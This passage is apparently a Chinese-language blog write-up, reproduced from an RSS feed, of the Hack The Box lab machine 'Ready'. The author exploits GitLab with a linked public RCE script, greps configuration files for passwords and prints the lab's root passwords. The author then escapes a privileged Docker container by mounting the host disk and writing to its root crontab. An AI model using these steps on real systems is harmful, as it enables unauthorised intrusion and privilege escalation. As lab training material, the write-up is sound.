暂时空着&lt;/p&gt;&#10;&lt;h2 id="31ready"&gt;&lt;a href="#31ready" class="header-anchor"&gt;&lt;/a&gt;31.Ready&#10;&lt;/h2&gt;&lt;p&gt;信息收集：&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0726.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0727.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="http://10.10.10.220:5080/dude/ready-channel" target="_blank" rel="noopener"&#10; &gt;http://10.10.10.220:5080/dude/ready-channel&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0728.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;注册进来之后只有一个项目&lt;/p&gt;&#10;&lt;p&gt;看了很久 貌似有点偏离了 这个项目虽然在 但是我使用&lt;/p&gt;&#10;&#10; &lt;blockquote&gt;&#10; &lt;p&gt;grep -r &amp;lsquo;password&amp;rsquo; ./&lt;/p&gt;&#10;&lt;p&gt;grep -r &amp;lsquo;username&amp;rsquo; ./&lt;/p&gt;&#10;&#10; &lt;/blockquote&gt;&#10;&lt;p&gt;并没有找到信息泄露 ssh的密钥也没有&lt;/p&gt;&#10;&lt;p&gt;google找到了查看版本的方法&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0729.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0730.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;还是有漏洞的&lt;/p&gt;&#10;&lt;p&gt;但是这两个貌似利用失败了 我去github上找了一个脚本&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://github.com/dotPY-hax/gitlab_RCE/blob/main/gitlab_rce.py" target="_blank" rel="noopener"&#10; &gt;https://github.com/dotPY-hax/gitlab_RCE/blob/main/gitlab_rce.py&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;这个没问题利用成功&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0731.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0732.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;开始提权&lt;/p&gt;&#10;&lt;p&gt;根目录有个root_pass 但是没什么用&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0733.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&#10; &lt;blockquote&gt;&#10; &lt;p&gt;YG65407Bjqvv9A0a8Tm_7w&lt;/p&gt;&#10;&#10; &lt;/blockquote&gt;&#10;&lt;p&gt;linenum告诉我们在docker容器中 试了其他方法也告诉我们在docker容器中 这里我觉得应该就是走docker逃逸了&lt;/p&gt;&#10;&lt;p&gt;试了很多方法 但都告诉我 当前不是root权限 无法操作 所以第一步还是提权root&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0734.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;翻到了docker的配置文件 同时也有gitlab的配置文件&lt;/p&gt;&#10;&lt;p&gt;挨个执行 cat gitlab.rb | grep passw&lt;/p&gt;&#10;&lt;p&gt;最后在gitlab.rb找到了一个密码&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0735.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;切换root成功&lt;/p&gt;&#10;&#10; &lt;blockquote&gt;&#10; &lt;p&gt;wW59U!ZKMbG9+*#h&lt;/p&gt;&#10;&#10; &lt;/blockquote&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0736.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0737.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;特权模式 docker逃逸可以直接解决&lt;/p&gt;&#10;&lt;p&gt;我在gitlab权限的时候测试过 但是因为权限不够不让挂载而失败 目前是可以使用的&lt;/p&gt;&#10;&lt;p&gt;运行 fdisk -l 得到结果如下&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0738.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;看了一下 filesystem貌似就是物理机的硬盘 将他挂载到/tmp下的test目录就行&lt;/p&gt;&#10;&#10; &lt;blockquote&gt;&#10; &lt;p&gt;mkdir /tmp/test &amp;amp;&amp;amp; mount /dev/sda2 /tmp/test&lt;/p&gt;&#10;&#10; &lt;/blockquote&gt;&#10;&lt;p&gt;主要是参考这篇博客&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://xz.aliyun.com/t/12495" target="_blank" rel="noopener"&#10; &gt;https://xz.aliyun.com/t/12495&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0739.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;挂在下来直接访问就行 拿到了flag 但是还是拿下root权限吧&lt;/p&gt;&#10;&lt;p&gt;但是发现无法往计划任务目录写入数据 提示内存不够 /tmp/test/var/spool/cron/root&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0740.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0741.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;100%了 删可以 但是写不行 接着google看看吧&lt;/p&gt;&#10;&lt;p&gt;删了一堆东西 还是不行 提示满了&lt;/p&gt;&#10;&lt;p&gt;在 /tmp/test/var/spool/cron/crontabs 下面自带一个root的定时任务 这个里面是可以写入的 在后面追加或者覆盖 但是我追加和覆盖之后 还是弹不回来 也可以去root文件夹下写个公钥 也可以 但是重启靶场之后 gitlab坏掉了 短时间内也不让重启第二次 可能就是因为我把/tmp/test/var/spool/cron/crontabs/root 这个定时任务 给他覆盖了 里面原来是gitlab的定时任务 现在定时任务没了 重启靶场还是坏的 这个重启机制还是有点离谱的&lt;/p&gt;&#10;&lt;p&gt;过了段时间又重启了下 好了&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0742.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;看到了私钥 用私钥去连&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0743.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;结束 这个靶场虽然难度为中 但实际上我感觉并不是很难 相比之前第29个靶场luanne 它定义为简单 但实际上非常难&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0744.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;而且评分也不错 作为扩展的部分非常好&lt;/p&gt;&#10;</description></item></channel></rss>